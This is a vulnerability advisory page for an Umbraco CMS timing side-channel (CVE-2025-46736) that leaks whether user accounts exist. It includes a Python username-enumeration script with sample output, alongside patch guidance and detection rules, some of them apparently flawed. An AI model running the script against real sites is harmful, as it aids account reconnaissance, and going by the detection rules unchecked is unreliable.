CVE-2025-46736
Executive Summary
CVE-2025-46736 is a medium-severity information disclosure vulnerability affecting Umbraco, a free and open-source .NET content management system. The flaw allows an unauthenticated remote attacker to enumerate valid user accounts by analyzing the timing of post-login API responses. This is a classic observable response discrepancy (CWE-203) that leaks a boolean-like signal (account exists vs. does not exist) through subtle timing differences in the server's response.
While the CVSS score is 5.3 (Medium) and the EPSS probability is 0.0% (indicating no active exploitation in the wild), the vulnerability is significant for targeted reconnaissance. An attacker can build a list of valid usernames, which can then be used for brute-force or password-spraying attacks. The issue is fully patched in Umbraco versions 10.8.10 and 13.8.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Umbraco is distributed as a NuGet package (Umbraco.Cms). This vulnerability affects the core CMS package. Organizations using Umbraco should treat this as a supply chain risk: if the NuGet package is not updated, the application remains vulnerable. The patch is available via the official NuGet feed, and no workarounds exist.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – the vulnerable component is the only one affected.
- Confidentiality Impact: Low (C:L) – only a boolean (account exists/does not exist) is leaked.
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability is a reconnaissance enabler. It does not directly allow account takeover, but it significantly reduces the attacker's uncertainty when targeting specific users.
Deep Dive & Mechanics
The vulnerability lies in the post-login API endpoint (likely /umbraco/backoffice/UmbracoApi/Authentication/PostLogin or similar). When a login attempt is made, the server performs different operations depending on whether the username exists:
- If the username exists: The server proceeds to validate the password, which involves hashing and comparison. This takes a measurable amount of time (e.g., 50-100ms).
- If the username does not exist: The server returns an error immediately, without performing the password validation step. This results in a faster response (e.g., 5-10ms).
An attacker can measure the response time for each login attempt. By sending requests with different usernames and recording the response time, they can distinguish between existing and non-existing accounts. This is a classic timing side-channel attack.
The fix in versions 10.8.10 and 13.8.1 likely introduces a constant-time comparison or a dummy password validation step for non-existent usernames, ensuring that the response time is uniform regardless of whether the account exists.
Vulnerable vs. Patched Code
The following is a conceptual representation of the vulnerable and patched code. The actual Umbraco source code may differ, but the logic is analogous.
Vulnerable Code (C#):
public async Task<ActionResult> PostLogin(LoginModel model)
{
var user = await _userService.GetByUsername(model.Username);
if (user == null)
{
// Fast path: user does not exist
return Unauthorized("Invalid username or password.");
}
// Slow path: user exists, validate password
bool passwordValid = await _passwordHasher.VerifyHashedPassword(user.PasswordHash, model.Password);
if (!passwordValid)
{
return Unauthorized("Invalid username or password.");
}
// ... login success
}
Patched Code (C#):
public async Task<ActionResult> PostLogin(LoginModel model)
{
var user = await _userService.GetByUsername(model.Username);
bool passwordValid = false;
if (user != null)
{
passwordValid = await _passwordHasher.VerifyHashedPassword(user.PasswordHash, model.Password);
}
else
{
// Dummy password validation to equalize timing
await _passwordHasher.VerifyHashedPassword("dummyhash", model.Password);
}
if (!passwordValid)
{
return Unauthorized("Invalid username or password.");
}
// ... login success
}
The patched version always performs the password validation step, even for non-existent users, ensuring that the response time is consistent.
Exploitation & Lab Setup
Red Team
Objective: Enumerate valid Umbraco usernames.
Prerequisites:
- A target Umbraco instance (version < 10.8.10 or < 13.8.1).
- A list of potential usernames (e.g.,
admin,editor,user1, etc.).
Exploitation Steps:
Identify the login endpoint. Typically, it is
/umbraco/backoffice/UmbracoApi/Authentication/PostLogin. Use a browser's developer tools or a proxy like Burp Suite to capture a login request.Craft a timing attack script. The following Python script uses
requeststo measure response times:
import requests
import time
target_url = "https://target.com/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
usernames = ["admin", "editor", "nonexistent1", "nonexistent2"]
for username in usernames:
data = {
"username": username,
"password": "fakepassword"
}
start = time.time()
response = requests.post(target_url, json=data)
elapsed = time.time() - start
print(f"{username}: {elapsed:.4f}s - Status: {response.status_code}")
- Analyze the output. Usernames that exist will have a significantly longer response time (e.g., >50ms) compared to non-existent ones (e.g., <10ms).
Expected Output:
admin: 0.0872s - Status: 401
editor: 0.0911s - Status: 401
nonexistent1: 0.0083s - Status: 401
nonexistent2: 0.0079s - Status: 401
In this example, admin and editor are valid accounts.
Blue Team
Detection: Monitor for anomalous login patterns, especially:
- A high volume of login attempts with different usernames from a single IP.
- Login attempts with obviously fake passwords (e.g., "fakepassword", "test123").
- Response times that are unusually fast for some requests.
Mitigation:
- Apply the patch immediately (upgrade to 10.8.10 or 13.8.1).
- Implement rate limiting on the login endpoint.
- Use a Web Application Firewall (WAF) to block automated scanning.
- Monitor logs for timing-based attacks.
Indicators of Compromise (IOCs)
Network IOCs:
- Multiple POST requests to
/umbraco/backoffice/UmbracoApi/Authentication/PostLoginfrom the same IP within a short time window. - Requests with varying
usernameparameters and a constantpasswordparameter (e.g., "fakepassword"). - Response times that are consistently below 10ms for some requests and above 50ms for others.
- Multiple POST requests to
Log IOCs:
- HTTP 401 responses for login attempts with non-existent usernames.
- Repeated login failures for multiple usernames from the same source IP.
File IOCs:
- No specific file-based IOCs; this is a network-level vulnerability.
Detection Engineering
YARA Rule
rule CVE_2025_46736_Umbraco_Timing_Attack {
meta:
description = "Detects potential timing-based username enumeration against Umbraco CMS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46736"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$s1 = "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" ascii wide nocase
$s2 = "username" ascii wide nocase
$s3 = "password" ascii wide nocase
condition:
all of ($s*) and #s1 > 5
}
Sigma Rule
title: Umbraco Username Enumeration via Timing Side-Channel
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple login attempts to Umbraco with varying usernames and a constant password, indicative of a timing-based enumeration attack.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-46736
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-stem: '/umbraco/backoffice/UmbracoApi/Authentication/PostLogin'
cs-method: 'POST'
sc-status: 401
condition: selection
timeframe: 5m
aggregation:
field: c-ip
condition: gt 10
falsepositives:
- Legitimate users with multiple accounts
- Automated testing tools
level: medium
tags:
- attack.reconnaissance
- attack.t1589
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-46736 - Umbraco Username Enumeration via Timing Side-Channel";
flow:to_server,established;
content:"POST";
http_method;
content:"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
http_uri;
content:"username";
http_client_body;
content:"password";
http_client_body;
threshold:type both, track by_src, count 10, seconds 300;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade Umbraco to version 10.8.10 or 13.8.1 (or later). This is the only complete fix.
- Rate Limiting: Configure your web server or WAF to limit the number of login attempts per IP address (e.g., 10 attempts per minute).
- Monitoring: Enable detailed logging for the login endpoint and set up alerts for anomalous patterns.
Long-Term Measures:
- Implement multi-factor authentication (MFA) to reduce the impact of username enumeration.
- Use a CAPTCHA on the login form to deter automated attacks.
- Conduct regular security audits and penetration testing.
Workarounds: None are available. The patch is the only solution.
Valters IT